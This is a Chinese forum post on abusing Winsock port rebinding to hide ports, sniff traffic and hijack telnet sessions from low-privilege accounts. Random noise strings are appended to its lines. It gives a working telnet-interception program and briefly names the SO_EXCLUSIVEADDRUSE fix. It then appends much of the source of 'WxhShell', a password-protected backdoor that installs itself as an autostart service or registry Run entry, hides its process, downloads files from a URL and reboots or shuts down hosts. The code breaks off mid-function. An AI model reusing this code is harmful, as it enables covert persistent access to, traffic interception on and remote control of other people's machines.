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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C\\~E9+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5rwu!Y;7*  
-] L6=  
  saddr.sin_family = AF_INET; v;BV@E0}x  
Ld\R:{M"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); eS{!)j_^  
k\wW##=v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "76 ]u)  
<W|3\p6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %u?>#  
<S\jpB  
  这意味着什么?意味着可以进行如下的攻击: 8N!b>??  
" f <Z=c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WgR).Yx  
,f<?;z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?*2CpM&l  
&?W0mW(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2I%MAb&1@  
%;cddLQ\xY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %.vQU @2A  
VA WF3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 83E7k]7]  
RtGWG*v4]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u0 P|0\  
bmJ5MF]_fG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _|iSF2f,X  
KmMzH`t}`  
  #include 1=t>HQ  
  #include }]e-{C}  
  #include (gEBOol  
  #include    N< |@ymi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1cxrH+N  
  int main() N+++4;  
  { S-P/+K6  
  WORD wVersionRequested; e_#._Pi  
  DWORD ret; 8hXl%{6d3  
  WSADATA wsaData; RzxNbeki[W  
  BOOL val; PbW(%7o(t  
  SOCKADDR_IN saddr; =V-A@_^!c  
  SOCKADDR_IN scaddr; a,xycX:U  
  int err; PjZvQ\Z  
  SOCKET s; ?<V?wsp  
  SOCKET sc; b$4"i XSQ  
  int caddsize; XnDUa3  
  HANDLE mt; K:!"+q  
  DWORD tid;   V\{clJ\U  
  wVersionRequested = MAKEWORD( 2, 2 ); ~s% Md  
  err = WSAStartup( wVersionRequested, &wsaData ); q_TR q:&.  
  if ( err != 0 ) { MTsM]o  
  printf("error!WSAStartup failed!\n"); ?: N @!jeJ  
  return -1; Hx#;Z  
  } ?!;7:VIE  
  saddr.sin_family = AF_INET; ?/BqD;{?I  
   wr5AG<%(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +s(HOq)b  
&]8P1{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9zZr^{lUl  
  saddr.sin_port = htons(23); ,.rs(5.z8/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !HrKXy 0{  
  { l9}3XI.=  
  printf("error!socket failed!\n"); q'|rgT  
  return -1; pczug-nB  
  } lH#u  
  val = TRUE; |L-]fjBbF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K17j$o^6KK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) , 0imiv  
  { $@"l#vJPfc  
  printf("error!setsockopt failed!\n"); Y -pzy']4  
  return -1; O?)3VT*  
  } *194{ ep  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jNTjSX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /~}}"zx&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `Zf^E >)  
~$ng^D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *;1,5L  
  { p=;=w_^y  
  ret=GetLastError(); O]lSWEe  
  printf("error!bind failed!\n"); e91aK  
  return -1; %JXE5l+pJ  
  } W=vG$  
  listen(s,2); 6`O.!|)  
  while(1) TFH\K{DM  
  { mk1bcK9  
  caddsize = sizeof(scaddr); DSC$i|  
  //接受连接请求 : e]a$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Qc gRAo+u  
  if(sc!=INVALID_SOCKET) *i]=f6G  
  { 1xD=ffM>8N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WfWN(:dF  
  if(mt==NULL) "^4_@ oo  
  { FB  _pw!z  
  printf("Thread Creat Failed!\n"); DBPRGQ  
  break; y<HO:kZ8`  
  } >_e]C}QUr  
  } KB%"bqB|  
  CloseHandle(mt); M4zm,>?K  
  } Ey_" ~OB  
  closesocket(s); yOphx07 (  
  WSACleanup(); 74H)|Dkx  
  return 0; %70~M_  
  }   L%BNz3:Dt  
  DWORD WINAPI ClientThread(LPVOID lpParam) TatpXN\  
  { >SML"+>  
  SOCKET ss = (SOCKET)lpParam; TcIcS]w%  
  SOCKET sc; =4[v 3Qx  
  unsigned char buf[4096]; \n{qsf:  
  SOCKADDR_IN saddr; {. 2k6_1[  
  long num; <Fi%iA  
  DWORD val; @W va tD V  
  DWORD ret; >=RmGS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gg[WlRQK4A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p<zSJLN  
  saddr.sin_family = AF_INET; d{XO/YQw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |(pRaiJ  
  saddr.sin_port = htons(23); %<E$,w>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e<=cdze  
  { [onGNq?#  
  printf("error!socket failed!\n"); lp<g \  
  return -1; vV[eWd.o6M  
  } lLp^Gt^}w(  
  val = 100; "$N#p5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;u;#g  
  { qR(\5}  
  ret = GetLastError(); (IC]?n}  
  return -1; <<(wa j  
  } "SzdDY6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8S%52W|  
  { MZlk0o2  
  ret = GetLastError(); 9/hrjItV  
  return -1; OlAs'TE^  
  } SF&BbjBE0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *"D3E7AO  
  { 5"HV BfFk  
  printf("error!socket connect failed!\n"); ?*E'^~,H)  
  closesocket(sc); t"k*PA  
  closesocket(ss); - M[$Zy^  
  return -1; G]fRk^~  
  } 29!q!g|  
  while(1) #>%X_o-o23  
  { X=hYB}}nu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BDq%'~/^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9:,V5n=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &Rx{.9  
  num = recv(ss,buf,4096,0); aemc2b*  
  if(num>0) <4_X P.N  
  send(sc,buf,num,0); 5#> 8MU?&  
  else if(num==0) #gp,V#T  
  break; MKy[hT:  
  num = recv(sc,buf,4096,0); }*lUah,@  
  if(num>0) +w.JpbQ&  
  send(ss,buf,num,0); >c9a0A  
  else if(num==0) nx8a$vI-TY  
  break; PIH*Rw*GKZ  
  } Z0o~+Ct$  
  closesocket(ss); $4tWI O  
  closesocket(sc); !|O~$2O@  
  return 0 ; U7oo$gW%|T  
  } "Jt.lL ]5  
r.#t63Rb  
f2^r[kPX"  
========================================================== wtc!>  
r9 ui|>U"  
下边附上一个代码,,WXhSHELL 3E>frR\!I  
*Txl+zTY  
========================================================== !eEHmRgg4  
|`lzfe  
#include "stdafx.h" 3=Cc.a/3  
oXxCXO,q  
#include <stdio.h> &e;=cAXG  
#include <string.h> F{eU";D  
#include <windows.h> }RHn)}+  
#include <winsock2.h> LUC4=kk4   
#include <winsvc.h> ^j" .  
#include <urlmon.h> L5#P[cHzz  
E_8\f_%wK  
#pragma comment (lib, "Ws2_32.lib") blTo5NLX  
#pragma comment (lib, "urlmon.lib") 1E73i_L  
^go7_y  
#define MAX_USER   100 // 最大客户端连接数 :E>HE,1b+  
#define BUF_SOCK   200 // sock buffer 8"dv_`ym  
#define KEY_BUFF   255 // 输入 buffer q~3,yyu  
|4T !&[r  
#define REBOOT     0   // 重启 E-I-0h2  
#define SHUTDOWN   1   // 关机 0%m)@ukb  
A8pIs  
#define DEF_PORT   5000 // 监听端口 m|=H#  
q{t*34R  
#define REG_LEN     16   // 注册表键长度 NX|v=  
#define SVC_LEN     80   // NT服务名长度 [k6nW:C  
[ { bV4  
// 从dll定义API ADpmvW f?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); du)~kU>l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jBU4F~1y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P@,nA41,j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KuMF^0V%c  
DdVF,  
// wxhshell配置信息 kAu+zX>S+  
struct WSCFG { pek%08VSEU  
  int ws_port;         // 监听端口 wi4=OU1L)a  
  char ws_passstr[REG_LEN]; // 口令 PB#fP_0C  
  int ws_autoins;       // 安装标记, 1=yes 0=no \ gLHi~  
  char ws_regname[REG_LEN]; // 注册表键名 Gi "941zVl  
  char ws_svcname[REG_LEN]; // 服务名 <L`"!~Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7.Z@Wr?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B<~ NS)w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (;q\}u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P#fM:z@[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qUxRM_7U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =:/BV=tv  
!"<MsoY@  
}; e 46/{4F,  
< V\I~;  
// default Wxhshell configuration (rkU)Q  
struct WSCFG wscfg={DEF_PORT, wc!onZX5  
    "xuhuanlingzhe", L+'Fs  
    1, xo&]RYG[<  
    "Wxhshell", ]79:yMD~ba  
    "Wxhshell", ox%9Ph  
            "WxhShell Service", N_pJk2E  
    "Wrsky Windows CmdShell Service", 1qf!DMcdZ  
    "Please Input Your Password: ", (iR ide  
  1, I =1+h  
  "http://www.wrsky.com/wxhshell.exe", /w]!wM  
  "Wxhshell.exe" lKlU-4  
    }; PSPmO'C+  
wlEdt1G  
// 消息定义模块 * 1Od-3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uPRQU+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ay !G1;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *Mw_0Y  
char *msg_ws_ext="\n\rExit."; 9:e YU =  
char *msg_ws_end="\n\rQuit."; ~t^eiyv  
char *msg_ws_boot="\n\rReboot..."; LrAT Sq@  
char *msg_ws_poff="\n\rShutdown..."; (4\d]*u5-c  
char *msg_ws_down="\n\rSave to "; QK+(g,)_86  
ed:@C?  
char *msg_ws_err="\n\rErr!"; Z7RiPSdxp  
char *msg_ws_ok="\n\rOK!"; m+#iR}*1L  
1P(|[W1  
char ExeFile[MAX_PATH]; ,}:G\u*Fu  
int nUser = 0; r\blyWi  
HANDLE handles[MAX_USER]; k%E2n:|*  
int OsIsNt; 04*6(L)h*  
KID,|K  
SERVICE_STATUS       serviceStatus; A0Zt8>w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bzvh%RsW  
E@P %v{)  
// 函数声明 Qu7T[ <  
int Install(void); >P/][MT  
int Uninstall(void); ]ix!tb.Q  
int DownloadFile(char *sURL, SOCKET wsh); @"o@}9=d  
int Boot(int flag); kWNV%RlSx  
void HideProc(void); &[At`Nw71  
int GetOsVer(void); 1?| f lK  
int Wxhshell(SOCKET wsl); SL,p36N  
void TalkWithClient(void *cs); 2e|N@j &  
int CmdShell(SOCKET sock); ^qC;Nh4F  
int StartFromService(void); Ton94:9bZ  
int StartWxhshell(LPSTR lpCmdLine); 5* 0y7K/D  
XEdzpkB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #rY sj-2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HU9Sl*/  
4[BG#  
// 数据结构和表定义 F*.g;So  
SERVICE_TABLE_ENTRY DispatchTable[] = gl]E_%tH  
{ cetvQAGXY  
{wscfg.ws_svcname, NTServiceMain}, #^4,GLIM  
{NULL, NULL} Vur bW=~g  
}; NHl|x4Zpw  
=b[_@zq]  
// 自我安装 o}<4*qlI  
int Install(void) !xwG% {_  
{ ]XTu+T.aT  
  char svExeFile[MAX_PATH]; Z( 9 u<  
  HKEY key; z.CywME<)t  
  strcpy(svExeFile,ExeFile); YG8>czC  
sF7^qrVQP9  
// 如果是win9x系统,修改注册表设为自启动 ]q6;#EUr?  
if(!OsIsNt) { [|lB5gi4t!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { doB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4&HXkRs:  
  RegCloseKey(key); b9"jtRTdz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >/#KI~}'N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ ib"b#  
  RegCloseKey(key); _$p$")  
  return 0; 3( ]M{4j  
    } 7c;9$j  
  } jr)7kP@  
} ^::EikpF%  
else { P1zdK0TM  
?\#N9 +{W  
// 如果是NT以上系统,安装为系统服务 <BW[1h1k5_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ncSFj.}w]  
if (schSCManager!=0) u-1;'a  
{ ^{\<N()R  
  SC_HANDLE schService = CreateService (708H_  
  ( 1&/FG(*/  
  schSCManager, 8k^| G  
  wscfg.ws_svcname, XK"-'  
  wscfg.ws_svcdisp, Uh'#izm[l  
  SERVICE_ALL_ACCESS, kEO7PK/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0[F:'_  
  SERVICE_AUTO_START, fS:1^A2,  
  SERVICE_ERROR_NORMAL, @m?QR(LJ  
  svExeFile, !I\!;b  
  NULL, Y $u9%0q|?  
  NULL, k6kM'e3V  
  NULL, \3Q&~j  
  NULL, o0ZM[0@j  
  NULL =E&OuX-R  
  ); 'SYo_!  
  if (schService!=0) [|~2X>  
  { ql GW.jY.  
  CloseServiceHandle(schService); jAh2N3)  
  CloseServiceHandle(schSCManager); .0G6flD   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CdUAy|!`R  
  strcat(svExeFile,wscfg.ws_svcname); '<R>E:5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {} Bf   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uHIiH@ S  
  RegCloseKey(key); KIeT!kmDl  
  return 0; YUf1N?z  
    } b7/AnSR~Jt  
  } {ls+d x/  
  CloseServiceHandle(schSCManager); {}o>{&X  
} "Pl9nE  
} >3gi yeJ  
`funE:>,  
return 1; `]v[5E  
} &3Zy|p4V<  
5[{*{^F4  
// 自我卸载  h C=:q  
int Uninstall(void) 1shBY@mlq  
{ WU4UZpz  
  HKEY key; v_S4hz6w\  
zKFp5H1!%+  
if(!OsIsNt) { fZKt%m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kGkA:g:  
  RegDeleteValue(key,wscfg.ws_regname); Y:ldR  
  RegCloseKey(key); rtQHWRUn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a{[+<8=@1  
  RegDeleteValue(key,wscfg.ws_regname); .P$IJUYO  
  RegCloseKey(key); =V97;kq+v  
  return 0; dJ:MjQG`W  
  } WhBpv(q}.  
} ^2o dr \  
} hSGb-$~F  
else { Og%U  
fn CItK~y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  ySbqnw'  
if (schSCManager!=0) W2;N<[wa<u  
{ @>x pYV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zNSu  
  if (schService!=0) ];+#i"l  
  { i{^Z1;Yl  
  if(DeleteService(schService)!=0) { +fKtG]$  
  CloseServiceHandle(schService); (!5LW '3B  
  CloseServiceHandle(schSCManager); ( #Z`  
  return 0; /?/#B `  
  } B`$L'  
  CloseServiceHandle(schService); +KEkmXZ  
  } E^hHH?w+  
  CloseServiceHandle(schSCManager); k#}g,0@  
} HftxS  
} ?@6/Alk  
|DF9cd^  
return 1; `A/j1UWJ  
} jy2IZ o  
]+DI.%   
// 从指定url下载文件 .w6eJ4 ]  
int DownloadFile(char *sURL, SOCKET wsh) O)R(==P26P  
{ r C[6lIP  
  HRESULT hr; "k$JP  
char seps[]= "/"; d h^^G^  
char *token; $!A:5jech  
char *file; f]8I64  
char myURL[MAX_PATH]; ]J2:194  
char myFILE[MAX_PATH]; rAdacnZV  
Gi^Ha=?J%  
strcpy(myURL,sURL); .wrL3z_  
  token=strtok(myURL,seps); $\a5&1rl  
  while(token!=NULL) !SHj$Jwa'  
  { O(H1P[  
    file=token; % 0:p)Z0  
  token=strtok(NULL,seps); 7yI @"c#O  
  } ps:f=6m2  
*B)yy[8j+  
GetCurrentDirectory(MAX_PATH,myFILE); ;P?q2jI  
strcat(myFILE, "\\"); FrTg4  
strcat(myFILE, file); 0m9ZQ O  
  send(wsh,myFILE,strlen(myFILE),0); bzmr"/#D3  
send(wsh,"...",3,0); _'x8M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R@T6U:1  
  if(hr==S_OK) 2 4\g bv<  
return 0; [IM%b~j(^  
else O,V9R rG  
return 1; #6S75{rnW"  
o5Rz%k#h  
} 0>6DSQq~t(  
\[wCp*;1}  
// 系统电源模块 b1^n KB  
int Boot(int flag) 8_\W/I!7b  
{ cm>E[SHr  
  HANDLE hToken; K=u0nrG*  
  TOKEN_PRIVILEGES tkp; m)?5}ZwAH  
1@sM1WM X  
  if(OsIsNt) { J_#R 87  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0_<Nc/(P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @u4=e4eF`  
    tkp.PrivilegeCount = 1; ? S=W&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sj 3oV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i&+w _hD  
if(flag==REBOOT) { nX%AeDBAT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =)<3pGO  
  return 0; #'o7x'n^  
} msTB'0  
else { Vj^dD9:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ('o&Q_  
  return 0; @O3/3vi1  
} (hZ:X)E>  
  } +`| *s3M  
  else { :9d\Uj,  
if(flag==REBOOT) { F#q&(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Db03Nk>#  
  return 0; \ a-CN>  
} a, Kky ^B  
else { j=sBq.S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )GB`*M[   
  return 0; 1IA5.@G:  
} &,W$-[  
} (7q^FtjA#  
,I*X) (  
return 1; +$beo2x6  
} I ,FqN}  
M?6;|-HH  
// win9x进程隐藏模块 s^|\9%WD  
void HideProc(void) 99ASIC!  
{ KjR4=9MD  
#+sF`qR,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JAb$M{t  
  if ( hKernel != NULL ) !QC<n/  
  { H*U`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j]> uZalr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K r3];(w{  
    FreeLibrary(hKernel); V2`;4dX*2  
  } a?<?5   
m4**>!I  
return; r\mPIr|  
} L{PH0Jf  
lCFU1 GHH  
// 获取操作系统版本 KRk~w]  
int GetOsVer(void) =P_fv  
{ l BiovT  
  OSVERSIONINFO winfo; Zc\S$+PM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wu^q`!ml  
  GetVersionEx(&winfo); jU$Y>S>l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q) _r3   
  return 1; #S?c ;3-  
  else >(tO QeN  
  return 0; |!b9b(_j9  
} a J-}  
2v^lD('  
// 客户端句柄模块 G2@KI-  
int Wxhshell(SOCKET wsl) I@PJl  
{ FW^.m?}|  
  SOCKET wsh; AF[>fMI  
  struct sockaddr_in client; QN #)F  
  DWORD myID; %c0z)R~  
0^iJlR2  
  while(nUser<MAX_USER) OX)BP.h#  
{ @U7Dunu*f  
  int nSize=sizeof(client); }bgo )<i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?H0m<jO8~  
  if(wsh==INVALID_SOCKET) return 1; `(T!>QVW+g  
4 m $sJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^je528%H  
if(handles[nUser]==0) KL~AzLI  
  closesocket(wsh); X!7Xg  
else }z{wQ\  
  nUser++; '_E c_F  
  } ^6&_| f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UC#"=Xd 4  
iE+6UK  
  return 0; yjv&4pIc1  
} $P_x v  
~bFdJj 1*  
// 关闭 socket =VCQ*  
void CloseIt(SOCKET wsh) p\ok_*b  
{ eEie?#Z/6  
closesocket(wsh); %xh?!s|G(  
nUser--; uf?b%:A  
ExitThread(0); Wa}"SqYr h  
} :5<#X8>d  
HYFN?~G  
// 客户端请求句柄 g`.{K"N>!  
void TalkWithClient(void *cs) kpWzMd &RK  
{ L B<UC?e  
wJ(8}eI  
  SOCKET wsh=(SOCKET)cs; "_oLe;?$c  
  char pwd[SVC_LEN]; .SBc5KX  
  char cmd[KEY_BUFF]; jRwa0Px(  
char chr[1]; Wa{%0inZ  
int i,j; hJ4S3b  
r?]%d!   
  while (nUser < MAX_USER) { #O><A&FrF`  
s%bUgO%&  
if(wscfg.ws_passstr) { :OX$LCi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #\0TxG5'QA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d{l{P] nr  
  //ZeroMemory(pwd,KEY_BUFF); Jbkt'Z(&J  
      i=0; W\a!Q]pV  
  while(i<SVC_LEN) { Ba<#1p7_  
n8Q* _?Z/  
  // 设置超时 Bf+^O)Ns^  
  fd_set FdRead; YjL t&D:IZ  
  struct timeval TimeOut; W`5a:"Vg  
  FD_ZERO(&FdRead); oB3q AP  
  FD_SET(wsh,&FdRead); 5C* ?1& !  
  TimeOut.tv_sec=8; y78z>(jV  
  TimeOut.tv_usec=0; h%/ssB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #9INX`s-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k|l5"&K~.  
{Bc#?n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .h a`)@MsZ  
  pwd=chr[0]; ;i}i5yv2  
  if(chr[0]==0xd || chr[0]==0xa) { ^YqbjL  
  pwd=0; %db3f z  
  break; <qr^Nyo4  
  } ,Z?m`cx  
  i++; #[Z<=i~C  
    } (A2U~j?Ry}  
a\>+=mua  
  // 如果是非法用户,关闭 socket {dDq*sLf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 22PGWSQ  
} wJ/ ~q)  
G IK u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QT7_x`#J~o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +fPNen4E  
Pb3EnNqYbM  
while(1) { Z%KL[R}^w;  
4YBf ~Pp  
  ZeroMemory(cmd,KEY_BUFF); ~.FnpMDY  
j_(?=7Y3g  
      // 自动支持客户端 telnet标准   (e 0_RQ  
  j=0; jm4)gmC  
  while(j<KEY_BUFF) { sK#H4y+<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hl*MUD,  
  cmd[j]=chr[0]; eS* *L 3  
  if(chr[0]==0xa || chr[0]==0xd) { ktU9LW~  
  cmd[j]=0; x Ridc^  
  break; %;'~%\|dZM  
  } B%)zGTp6  
  j++; _dJp 3D  
    } JXlTN[O  
8 H,_vf  
  // 下载文件 2V 4`s'  
  if(strstr(cmd,"http://")) { *>G ^!e.u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vn@A]Jx^  
  if(DownloadFile(cmd,wsh)) D\n>*x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,zc"udpKF  
  else t`) 'LT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YmZC?x_{M2  
  } 1V#0\1sj  
  else { 8rla0d@  
FYxUOO  
    switch(cmd[0]) { b8eDD+ulk  
  gQu\[e%mVo  
  // 帮助 eB)UXOu1  
  case '?': { nR(#F9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mi*:S%;h  
    break; XSD"/_xD  
  } Fp wlV}:  
  // 安装 [SKP|`I>I  
  case 'i': { $_ST:h&C  
    if(Install()) "vv$%^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '\Qf,%%.  
    else @ysJt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;|Y2r^c  
    break; 22l|!B%o  
    } 2=i+L z^  
  // 卸载 jn0t-":  
  case 'r': { |G[{{qZM5  
    if(Uninstall()) ]}jgB 2x7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YhEiN. ~  
    else =c :lS&B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >l y&+3S  
    break; !a.3OpQ  
    } W ]a7&S  
  // 显示 wxhshell 所在路径 Y+|L 3'H  
  case 'p': { ,)0/Ec  
    char svExeFile[MAX_PATH]; cpP.7ZR  
    strcpy(svExeFile,"\n\r"); 9|us<k  
      strcat(svExeFile,ExeFile); %Y#[% ~|(  
        send(wsh,svExeFile,strlen(svExeFile),0); #-l!`\@  
    break; mABwM$_  
    } 95_[r$C  
  // 重启 46QYXmNQ}  
  case 'b': { J[I"/sdk-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,ivWVsN*]  
    if(Boot(REBOOT)) t't^E,E .@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v'mJ~tz  
    else { f(EYx)gZ  
    closesocket(wsh); s^{{@O.  
    ExitThread(0); {s9y@c*15.  
    } okd  ``vG  
    break; | 7t=\  
    } )Mm;9UA  
  // 关机 sa\|"IkD2  
  case 'd': { Sn{aHH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n_e}>1_  
    if(Boot(SHUTDOWN)) ,U} 5  
